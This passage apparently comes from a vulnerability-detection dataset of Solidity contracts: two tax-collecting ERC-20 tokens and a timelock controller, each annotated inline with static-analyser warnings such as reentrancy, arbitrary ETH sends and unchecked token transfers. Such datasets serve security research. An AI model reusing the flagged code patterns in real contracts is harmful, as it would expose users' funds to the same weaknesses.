block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: d82456e\n\t\t\t\t// reentrancy-eth | ID: f1e2a37\n\t\t\t\t// reentrancy-eth | ID: 6020c7e\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d82456e\n\t\t\t\t\t// reentrancy-eth | ID: f1e2a37\n\t\t\t\t\t// reentrancy-eth | ID: 6020c7e\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 6020c7e\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 6020c7e\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: d82456e\n\t\t\t\t// reentrancy-eth | ID: f1e2a37\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d82456e\n\t\t\t\t\t// reentrancy-eth | ID: f1e2a37\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f1e2a37\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: d82456e\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: f1e2a37\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: f1e2a37\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: d82456e\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ca47b7a\n\t\t// reentrancy-events | ID: d82456e\n\t\t// reentrancy-benign | ID: 5ebb6b0\n\t\t// reentrancy-eth | ID: f1e2a37\n\t\t// reentrancy-eth | ID: 6020c7e\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 87b8fe8): TENE.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 87b8fe8: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ca47b7a\n\t\t// reentrancy-events | ID: d82456e\n\t\t// reentrancy-eth | ID: f1e2a37\n\t\t// reentrancy-eth | ID: 6020c7e\n\t\t// arbitrary-send-eth | ID: 87b8fe8\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 376a0d3): TENE.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 376a0d3: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 376a0d3\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1cff95f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1cff95f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ddf6e87): TENE.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ddf6e87: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7c16d90): TENE.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7c16d90: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 229322f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 229322f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 1cff95f\n\t\t// unused-return | ID: ddf6e87\n\t\t// reentrancy-eth | ID: 229322f\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 1cff95f\n\t\t// unused-return | ID: 7c16d90\n\t\t// reentrancy-eth | ID: 229322f\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 1cff95f\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 229322f\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 1cff95f\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10634.sol",
"size_bytes": 23072,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IAccessControl {\n error AccessControlUnauthorizedAccount(address account, bytes32 neededRole);\n\n error AccessControlBadConfirmation();\n\n event RoleAdminChanged(\n bytes32 indexed role,\n bytes32 indexed previousAdminRole,\n bytes32 indexed newAdminRole\n );\n\n event RoleGranted(\n bytes32 indexed role,\n address indexed account,\n address indexed sender\n );\n\n event RoleRevoked(\n bytes32 indexed role,\n address indexed account,\n address indexed sender\n );\n\n function hasRole(\n bytes32 role,\n address account\n ) external view returns (bool);\n\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\n\n function grantRole(bytes32 role, address account) external;\n\n function revokeRole(bytes32 role, address account) external;\n\n function renounceRole(bytes32 role, address callerConfirmation) external;\n}\n\ninterface IERC721Receiver {\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4);\n}\n\nlibrary Address {\n error AddressInsufficientBalance(address account);\n\n error AddressEmptyCode(address target);\n\n error FailedInnerCall();\n\n function sendValue(address payable recipient, uint256 amount) internal {\n if (address(this).balance < amount) {\n revert AddressInsufficientBalance(address(this));\n }\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n if (!success) {\n revert FailedInnerCall();\n }\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n if (address(this).balance < value) {\n revert AddressInsufficientBalance(address(this));\n }\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return verifyCallResultFromTarget(target, success, returndata);\n }\n\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata\n ) internal view returns (bytes memory) {\n if (!success) {\n _revert(returndata);\n } else {\n if (returndata.length == 0 && target.code.length == 0) {\n revert AddressEmptyCode(target);\n }\n\n return returndata;\n }\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata\n ) internal pure returns (bytes memory) {\n if (!success) {\n _revert(returndata);\n } else {\n return returndata;\n }\n }\n\n function _revert(bytes memory returndata) private pure {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert FailedInnerCall();\n }\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\ninterface IERC165 {\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n}\n\ninterface IERC1155Receiver is IERC165 {\n function onERC1155Received(\n address operator,\n address from,\n uint256 id,\n uint256 value,\n bytes calldata data\n ) external returns (bytes4);\n\n function onERC1155BatchReceived(\n address operator,\n address from,\n uint256[] calldata ids,\n uint256[] calldata values,\n bytes calldata data\n ) external returns (bytes4);\n}\n\nabstract contract ERC721Holder is IERC721Receiver {\n function onERC721Received(\n address,\n address,\n uint256,\n bytes memory\n ) public virtual returns (bytes4) {\n return this.onERC721Received.selector;\n }\n}\n\nabstract contract ERC165 is IERC165 {\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual returns (bool) {\n return interfaceId == type(IERC165).interfaceId;\n }\n}\n\nabstract contract ERC1155Holder is ERC165, IERC1155Receiver {\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC165, IERC165) returns (bool) {\n return\n interfaceId == type(IERC1155Receiver).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function onERC1155Received(\n address,\n address,\n uint256,\n uint256,\n bytes memory\n ) public virtual override returns (bytes4) {\n return this.onERC1155Received.selector;\n }\n\n function onERC1155BatchReceived(\n address,\n address,\n uint256[] memory,\n uint256[] memory,\n bytes memory\n ) public virtual override returns (bytes4) {\n return this.onERC1155BatchReceived.selector;\n }\n}\n\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\n struct RoleData {\n mapping(address account => bool) hasRole;\n bytes32 adminRole;\n }\n\n mapping(bytes32 role => RoleData) private _roles;\n\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\n\n modifier onlyRole(bytes32 role) {\n _checkRole(role);\n\n _;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return\n interfaceId == type(IAccessControl).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function hasRole(\n bytes32 role,\n address account\n ) public view virtual returns (bool) {\n return _roles[role].hasRole[account];\n }\n\n function _checkRole(bytes32 role) internal view virtual {\n _checkRole(role, _msgSender());\n }\n\n function _checkRole(bytes32 role, address account) internal view virtual {\n if (!hasRole(role, account)) {\n revert AccessControlUnauthorizedAccount(account, role);\n }\n }\n\n function getRoleAdmin(bytes32 role) public view virtual returns (bytes32) {\n return _roles[role].adminRole;\n }\n\n function grantRole(\n bytes32 role,\n address account\n ) public virtual onlyRole(getRoleAdmin(role)) {\n _grantRole(role, account);\n }\n\n function revokeRole(\n bytes32 role,\n address account\n ) public virtual onlyRole(getRoleAdmin(role)) {\n _revokeRole(role, account);\n }\n\n function renounceRole(\n bytes32 role,\n address callerConfirmation\n ) public virtual {\n if (callerConfirmation != _msgSender()) {\n revert AccessControlBadConfirmation();\n }\n\n _revokeRole(role, callerConfirmation);\n }\n\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\n bytes32 previousAdminRole = getRoleAdmin(role);\n\n _roles[role].adminRole = adminRole;\n\n emit RoleAdminChanged(role, previousAdminRole, adminRole);\n }\n\n function _grantRole(\n bytes32 role,\n address account\n ) internal virtual returns (bool) {\n if (!hasRole(role, account)) {\n _roles[role].hasRole[account] = true;\n\n emit RoleGranted(role, account, _msgSender());\n\n return true;\n } else {\n return false;\n }\n }\n\n function _revokeRole(\n bytes32 role,\n address account\n ) internal virtual returns (bool) {\n if (hasRole(role, account)) {\n _roles[role].hasRole[account] = false;\n\n emit RoleRevoked(role, account, _msgSender());\n\n return true;\n } else {\n return false;\n }\n }\n}\n\ncontract TimelockController is AccessControl, ERC721Holder, ERC1155Holder {\n bytes32 public constant PROPOSER_ROLE = keccak256(\"PROPOSER_ROLE\");\n\n bytes32 public constant EXECUTOR_ROLE = keccak256(\"EXECUTOR_ROLE\");\n\n bytes32 public constant CANCELLER_ROLE = keccak256(\"CANCELLER_ROLE\");\n\n uint256 internal constant _DONE_TIMESTAMP = uint256(1);\n\n mapping(bytes32 id => uint256) private _timestamps;\n\n uint256 private _minDelay;\n\n enum OperationState {\n Unset,\n Waiting,\n Ready,\n Done\n }\n\n error TimelockInvalidOperationLength(\n uint256 targets,\n uint256 payloads,\n uint256 values\n );\n\n error TimelockInsufficientDelay(uint256 delay, uint256 minDelay);\n\n error TimelockUnexpectedOperationState(\n bytes32 operationId,\n bytes32 expectedStates\n );\n\n error TimelockUnexecutedPredecessor(bytes32 predecessorId);\n\n error TimelockUnauthorizedCaller(address caller);\n\n event CallScheduled(\n bytes32 indexed id,\n uint256 indexed index,\n address target,\n uint256 value,\n bytes data,\n bytes32 predecessor,\n uint256 delay\n );\n\n event CallExecuted(\n bytes32 indexed id,\n uint256 indexed index,\n address target,\n uint256 value,\n bytes data\n );\n\n event CallSalt(bytes32 indexed id, bytes32 salt);\n\n event Cancelled(bytes32 indexed id);\n\n event MinDelayChange(uint256 oldDuration, uint256 newDuration);\n\n constructor(\n uint256 minDelay,\n address[] memory proposers,\n address[] memory executors,\n address admin\n ) {\n _grantRole(DEFAULT_ADMIN_ROLE, address(this));\n\n if (admin != address(0)) {\n _grantRole(DEFAULT_ADMIN_ROLE, admin);\n }\n\n for (uint256 i = 0; i < proposers.length; ++i) {\n _grantRole(PROPOSER_ROLE, proposers[i]);\n\n _grantRole(CANCELLER_ROLE, proposers[i]);\n }\n\n for (uint256 i = 0; i < executors.length; ++i) {\n _grantRole(EXECUTOR_ROLE, executors[i]);\n }\n\n _minDelay = minDelay;\n\n emit MinDelayChange(0, minDelay);\n }\n\n modifier onlyRoleOrOpenRole(bytes32 role) {\n if (!hasRole(role, address(0))) {\n _checkRole(role, _msgSender());\n }\n\n _;\n }\n\n receive() external payable {}\n\n function supportsInterface(\n bytes4 interfaceId\n )\n public\n view\n virtual\n override(AccessControl, ERC1155Holder)\n returns (bool)\n {\n return super.supportsInterface(interfaceId);\n }\n\n function isOperation(bytes32 id) public view returns (bool) {\n return getOperationState(id) != OperationState.Unset;\n }\n\n function isOperationPending(bytes32 id) public view returns (bool) {\n OperationState state = getOperationState(id);\n\n return state == OperationState.Waiting || state == OperationState.Ready;\n }\n\n function isOperationReady(bytes32 id) public view returns (bool) {\n return getOperationState(id) == OperationState.Ready;\n }\n\n function isOperationDone(bytes32 id) public view returns (bool) {\n return getOperationState(id) == OperationState.Done;\n }\n\n function getTimestamp(bytes32 id) public view virtual returns (uint256) {\n return _timestamps[id];\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 9a453d9): TimelockController.getOperationState(bytes32) uses timestamp for comparisons Dangerous comparisons timestamp == 0 timestamp == _DONE_TIMESTAMP timestamp > block.timestamp\n\t// Recommendation for 9a453d9: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 14b341e): TimelockController.getOperationState(bytes32) uses a dangerous strict equality timestamp == _DONE_TIMESTAMP\n\t// Recommendation for 14b341e: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: a96688e): TimelockController.getOperationState(bytes32) uses a dangerous strict equality timestamp == 0\n\t// Recommendation for a96688e: Don't use strict equality to determine if an account has enough Ether or tokens.\n function getOperationState(\n bytes32 id\n ) public view virtual returns (OperationState) {\n uint256 timestamp = getTimestamp(id);\n\n\t\t// timestamp | ID: 9a453d9\n\t\t// incorrect-equality | ID: a96688e\n if (timestamp == 0) {\n return OperationState.Unset;\n\t\t// timestamp | ID: 9a453d9\n\t\t// incorrect-equality | ID: 14b341e\n } else if (timestamp == _DONE_TIMESTAMP) {\n return OperationState.Done;\n\t\t// timestamp | ID: 9a453d9\n } else if (timestamp > block.timestamp) {\n return OperationState.Waiting;\n } else {\n return OperationState.Ready;\n }\n }\n\n function getMinDelay() public view virtual returns (uint256) {\n return _minDelay;\n }\n\n function hashOperation(\n address target,\n uint256 value,\n bytes calldata data,\n bytes32 predecessor,\n bytes32 salt\n ) public pure virtual returns (bytes32) {\n return keccak256(abi.encode(target, value, data, predecessor, salt));\n }\n\n function hashOperationBatch(\n address[] calldata targets,\n uint256[] calldata values,\n bytes[] calldata payloads,\n bytes32 predecessor,\n bytes32 salt\n ) public pure virtual returns (bytes32) {\n return\n keccak256(abi.encode(targets, values, payloads, predecessor, salt));\n }\n\n function schedule(\n address target,\n uint256 value,\n bytes calldata data,\n bytes32 predecessor,\n bytes32 salt,\n uint256 delay\n ) public virtual onlyRole(PROPOSER_ROLE) {\n bytes32 id = hashOperation(target, value, data, predecessor, salt);\n\n _schedule(id, delay);\n\n emit CallScheduled(id, 0, target, value, data, predecessor, delay);\n\n if (salt != bytes32(0)) {\n emit CallSalt(id, salt);\n }\n }\n\n function scheduleBatch(\n address[] calldata targets,\n uint256[] calldata values,\n bytes[] calldata payloads,\n bytes32 predecessor,\n bytes32 salt,\n uint256 delay\n ) public virtual onlyRole(PROPOSER_ROLE) {\n if (\n targets.length != values.length || targets.length != payloads.length\n ) {\n revert TimelockInvalidOperationLength(\n targets.length,\n payloads.length,\n values.length\n );\n }\n\n bytes32 id = hashOperationBatch(\n targets,\n values,\n payloads,\n predecessor,\n salt\n );\n\n _schedule(id, delay);\n\n for (uint256 i = 0; i < targets.length; ++i) {\n emit CallScheduled(\n id,\n i,\n targets[i],\n values[i],\n payloads[i],\n predecessor,\n delay\n );\n }\n\n if (salt != bytes32(0)) {\n emit CallSalt(id, salt);\n }\n }\n\n function _schedule(bytes32 id, uint256 delay) private {\n if (isOperation(id)) {\n revert TimelockUnexpectedOperationState(\n id,\n _encodeStateBitmap(OperationState.Unset)\n );\n }\n\n uint256 minDelay = getMinDelay();\n\n if (delay < minDelay) {\n revert TimelockInsufficientDelay(delay, minDelay);\n }\n\n _timestamps[id] = block.timestamp + delay;\n }\n\n function cancel(bytes32 id) public virtual onlyRole(CANCELLER_ROLE) {\n if (!isOperationPending(id)) {\n revert TimelockUnexpectedOperationState(\n id,\n _encodeStateBitmap(OperationState.Waiting) |\n _encodeStateBitmap(OperationState.Ready)\n );\n }\n\n delete _timestamps[id];\n\n emit Cancelled(id);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a1c7a53): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a1c7a53: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 64d67f1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 64d67f1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function execute(\n address target,\n uint256 value,\n bytes calldata payload,\n bytes32 predecessor,\n bytes32 salt\n ) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {\n bytes32 id = hashOperation(target, value, payload, predecessor, salt);\n\n _beforeCall(id, predecessor);\n\n\t\t// reentrancy-events | ID: a1c7a53\n\t\t// reentrancy-eth | ID: 64d67f1\n _execute(target, value, payload);\n\n\t\t// reentrancy-events | ID: a1c7a53\n emit CallExecuted(id, 0, target, value, payload);\n\n\t\t// reentrancy-eth | ID: 64d67f1\n _afterCall(id);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 40fb30a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 40fb30a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f05cb91): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f05cb91: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function executeBatch(\n address[] calldata targets,\n uint256[] calldata values,\n bytes[] calldata payloads,\n bytes32 predecessor,\n bytes32 salt\n ) public payable virtual onlyRoleOrOpenRole(EXECUTOR_ROLE) {\n if (\n targets.length != values.length || targets.length != payloads.length\n ) {\n revert TimelockInvalidOperationLength(\n targets.length,\n payloads.length,\n values.length\n );\n }\n\n bytes32 id = hashOperationBatch(\n targets,\n values,\n payloads,\n predecessor,\n salt\n );\n\n _beforeCall(id, predecessor);\n\n for (uint256 i = 0; i < targets.length; ++i) {\n address target = targets[i];\n\n uint256 value = values[i];\n\n bytes calldata payload = payloads[i];\n\n\t\t\t// reentrancy-events | ID: 40fb30a\n\t\t\t// reentrancy-eth | ID: f05cb91\n _execute(target, value, payload);\n\n\t\t\t// reentrancy-events | ID: 40fb30a\n emit CallExecuted(id, i, target, value, payload);\n }\n\n\t\t// reentrancy-eth | ID: f05cb91\n _afterCall(id);\n }\n\n\t// WARNING Vulnerability (calls-loop | severity: Low | ID: d14d394): TimelockController._execute(address,uint256,bytes) has external calls inside a loop (success,returndata) = target.call{value value}(data)\n\t// Recommendation for d14d394: Favor pull over push strategy for external calls.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 89c3405): TimelockController._execute(address,uint256,bytes) ignores return value by Address.verifyCallResult(success,returndata)\n\t// Recommendation for 89c3405: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 60ffe65): TimelockController._execute(address,uint256,bytes) sends eth to arbitrary user Dangerous calls (success,returndata) = target.call{value value}(data)\n\t// Recommendation for 60ffe65: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function _execute(\n address target,\n uint256 value,\n bytes calldata data\n ) internal virtual {\n\t\t// reentrancy-events | ID: a1c7a53\n\t\t// reentrancy-events | ID: 40fb30a\n\t\t// calls-loop | ID: d14d394\n\t\t// reentrancy-eth | ID: 64d67f1\n\t\t// reentrancy-eth | ID: f05cb91\n\t\t// arbitrary-send-eth | ID: 60ffe65\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n\t\t// unused-return | ID: 89c3405\n Address.verifyCallResult(success, returndata);\n }\n\n function _beforeCall(bytes32 id, bytes32 predecessor) private view {\n if (!isOperationReady(id)) {\n revert TimelockUnexpectedOperationState(\n id,\n _encodeStateBitmap(OperationState.Ready)\n );\n }\n\n if (predecessor != bytes32(0) && !isOperationDone(predecessor)) {\n revert TimelockUnexecutedPredecessor(predecessor);\n }\n }\n\n function _afterCall(bytes32 id) private {\n if (!isOperationReady(id)) {\n revert TimelockUnexpectedOperationState(\n id,\n _encodeStateBitmap(OperationState.Ready)\n );\n }\n\n\t\t// reentrancy-eth | ID: 64d67f1\n\t\t// reentrancy-eth | ID: f05cb91\n _timestamps[id] = _DONE_TIMESTAMP;\n }\n\n function updateDelay(uint256 newDelay) external virtual {\n address sender = _msgSender();\n\n if (sender != address(this)) {\n revert TimelockUnauthorizedCaller(sender);\n }\n\n emit MinDelayChange(_minDelay, newDelay);\n\n _minDelay = newDelay;\n }\n\n function _encodeStateBitmap(\n OperationState operationState\n ) internal pure returns (bytes32) {\n return bytes32(1 << uint8(operationState));\n }\n}\n",
"file_name": "solidity_code_10635.sol",
"size_bytes": 22950,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract AYA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ebae1cb): AYA._taxWallet should be immutable \n\t// Recommendation for ebae1cb: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 firstBlock;\n\n uint256 private _initialBuyTax = 20;\n\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 331f252): AYA._finalBuyTax should be constant \n\t// Recommendation for 331f252: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: cc14a52): AYA._finalSellTax should be constant \n\t// Recommendation for cc14a52: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n uint256 private _reduceBuyTaxAt = 1;\n\n uint256 private _reduceSellTaxAt = 1;\n\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"America Ya!\";\n\n string private constant _symbol = 